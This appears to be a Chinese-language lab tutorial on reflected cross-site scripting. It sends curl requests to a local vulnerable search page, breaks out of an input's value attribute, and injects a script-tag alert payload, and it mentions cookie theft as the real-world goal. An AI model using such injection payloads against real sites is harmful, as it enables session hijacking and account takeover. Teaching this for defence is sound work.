简介
反射型跨站脚本攻击 (Reflected Cross-Site Scripting, XSS) 是一种常见的 Web 漏洞。当应用程序在 HTTP 请求中接收数据,并以不安全的方式将该数据包含在即时的 HTTP 响应中时,就会发生此类攻击。由于注入的恶意脚本是从 Web 服务器“反射”回来的,它会在受害者的浏览器中执行,从而允许攻击者窃取会话 Cookie、代表用户执行操作或篡改网站内容。
其核心概念在于:XSS 是一种浏览器端的代码执行漏洞。服务器可能会反射载荷,但脚本实际上是在浏览器中运行的,且信任边界也是在浏览器中被打破的。
在本实验中,你将与一个本地托管的易受攻击的 Web 应用程序进行交互。你将学习识别和利用反射型 XSS 的系统方法:定位输入被反射的位置、测试应用程序如何处理特殊字符、跳出现有的 HTML 结构,并最终执行恶意 JavaScript 载荷。
定位反射点
在这一步中,你将学习如何识别 Web 应用程序中的反射点。反射点是指应用程序 HTTP 响应中,你在 HTTP 请求中提供的输入被显示(或“反射”)回来的位置。
我们已经在你的本地机器上启动了一个易受攻击的 Web 应用程序,可通过端口 8080 访问。该应用程序具有一个搜索功能,它接收一个名为 q 的查询参数。
要找到反射点,你需要向应用程序发送一个唯一的、易于识别的字符串,并检查它是否出现在响应的源代码中。我们将使用 curl 命令行工具向应用程序发送 HTTP GET 请求。
反射是必要条件,但并非充分条件。你的输入必须返回到一个浏览器解析器可以将其转化为可执行代码的上下文中。
在终端中运行以下命令,向搜索端点发送测试字符串 REFLECTION_TEST:
curl -s "http://localhost:8080/search?q=REFLECTION_TEST"
仔细查看终端中打印的 HTML 输出。你应该能看到你的输入 REFLECTION_TEST 直接嵌入在 HTML 结构中。
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="REFLECTION_TEST">
<button type="submit">Search Again</button>
</form>
</body>
</html>
注意,你的输入被放置在 <input> 标签的 value 属性中。这证实了应用程序确实从 URL 获取了我们的输入,并将其直接反射到 HTML 响应中。这是反射型 XSS 漏洞所需的第一个条件。
测试字符过滤 (< > ")
在这一步中,你将测试应用程序是否对特殊 HTML 字符进行了清理或过滤。
上下文相关的编码是真正的防御手段。危险字符会根据输入是落在元素正文、HTML 属性、JavaScript 还是 URL 中而有所不同。
找到反射点不足以确认存在 XSS 漏洞。现代 Web 框架通常会自动对特殊字符进行编码。例如,小于号 < 可能会被转换为 <。如果应用程序对这些字符进行了编码,浏览器就会将其视为普通文本而非可执行代码,从而防止 XSS。
为了注入恶意 HTML 或 JavaScript,我们通常需要用到小于号 <(用于开始标签)、大于号 >(用于结束标签)和双引号 "(用于操作属性)。
让我们发送一个包含这些特殊字符的新载荷,看看应用程序是如何处理它们的。我们将在 curl 命令中使用单引号包裹 URL,以防止 Linux Shell 解析这些特殊字符。
执行以下命令来测试字符过滤:
curl -s 'http://localhost:8080/search?q=FILTER_TEST<>"'
检查服务器返回的输出:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="FILTER_TEST<>"">
<button type="submit">Search Again</button>
</form>
</body>
</html>
观察 <input> 标签中的 value 属性。字符 <>" 被原样反射,没有任何 HTML 编码(如 < 或 ")。这种缺乏清理的行为证实了该应用程序极有可能存在跨站脚本漏洞。
跳出 HTML 上下文
在这一步中,你将学习如何跳出当前的 HTML 上下文,为载荷注入做准备。
这是实际 XSS 工作的核心:理解你所处的解析器上下文,然后利用语法安全地逃逸到一个更危险的上下文中。
上下文在 XSS 中至关重要。在我们这个易受攻击的应用程序中,反射点位于 HTML 属性内部:value="[YOUR_INPUT]"。如果我们直接注入一个 <script> 标签,它将成为输入字段文本值的一部分,而不是被浏览器执行。
为了强制浏览器执行我们的代码,我们必须首先“跳出” value 属性并闭合 <input> 标签。
由于属性是用双引号括起来的,我们可以注入一个双引号 " 来提前闭合 value 属性。然后,我们可以注入一个大于号 > 来闭合 <input> 标签本身。
让我们测试这种跳出技术。向应用程序发送以下载荷:
curl -s 'http://localhost:8080/search?q=BREAKOUT">'
仔细检查 HTML 输出:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value="BREAKOUT">">
<button type="submit">Search Again</button>
</form>
</body>
</html>
看看 <input> 标签发生了什么。现在的 HTML 显示为 value="BREAKOUT">">。
我们注入的 " 成功闭合了 value 属性,而我们注入的 > 闭合了 <input> 标签。末尾剩余的 "> 是应用程序模板中原始的闭合引号和括号,它们现在作为无害的文本悬挂在页面上。
你已经成功跳出了 HTML 属性上下文。载荷后面的空间现在被视为标准的 HTML 正文内容,可以在此处引入新的标签。
执行 JavaScript 载荷
在最后一步中,你将把跳出技术与恶意 JavaScript 载荷相结合,以实现跨站脚本攻击。
既然你已经知道如何跳出 <input> 标签,你就可以在跳出序列之后立即附加任何有效的 HTML 或 JavaScript。XSS 最常见的概念验证(PoC)是注入一个触发 JavaScript alert() 弹窗的 <script> 标签。
我们完整的载荷将是:"><script>alert("XSS")</script>
该载荷的工作原理如下:"> 序列跳出了 value 属性并闭合了 <input> 标签。接下来,<script> 标签开启了一个新的 JavaScript 执行块。在此块中,alert("XSS") 是将要运行的 JavaScript 代码。最后,</script> 标签闭合了执行块。
执行以下命令来注入完整的 XSS 载荷:
curl -s 'http://localhost:8080/search?q="><script>alert("XSS")</script>'
检查最终的 HTML 输出:
<!DOCTYPE html>
<html>
<head><title>Search Results</title></head>
<body>
<h2>Search Results</h2>
<form action="/search" method="GET">
<input type="text" name="q" value=""><script>alert("XSS")</script>">
<button type="submit">Search Again</button>
</form>
</body>
</html>
如果受害者在浏览器中点击了包含此载荷的链接(例如 http://localhost:8080/search?q="><script>alert("XSS")</script>),他们的浏览器将从上到下解析 HTML。当解析到注入的 <script> 标签时,它将执行 JavaScript 代码,弹出一个显示“XSS”的警告框。
在现实世界的攻击中,攻击者不会注入无害的弹窗,而是会注入代码来窃取受害者的会话 Cookie (document.cookie) 并将其发送到恶意服务器,从而导致完全的账户接管。
总结
恭喜!你已经成功完成了反射型跨站脚本攻击 (XSS) 实验。
在本实验中,你学习了如何:
- 通过发送唯一字符串并分析 HTTP 响应来识别反射点。
- 测试字符过滤,以确定应用程序是否安全地对特殊 HTML 字符进行了编码。
- 通过操作引号和括号来跳出 HTML 属性上下文。
- 构建并注入完整的 JavaScript 载荷,以在浏览器中实现代码执行。
理解这些机制对于安全研究人员识别漏洞,以及开发人员实施适当的输入清理和输出编码至关重要。



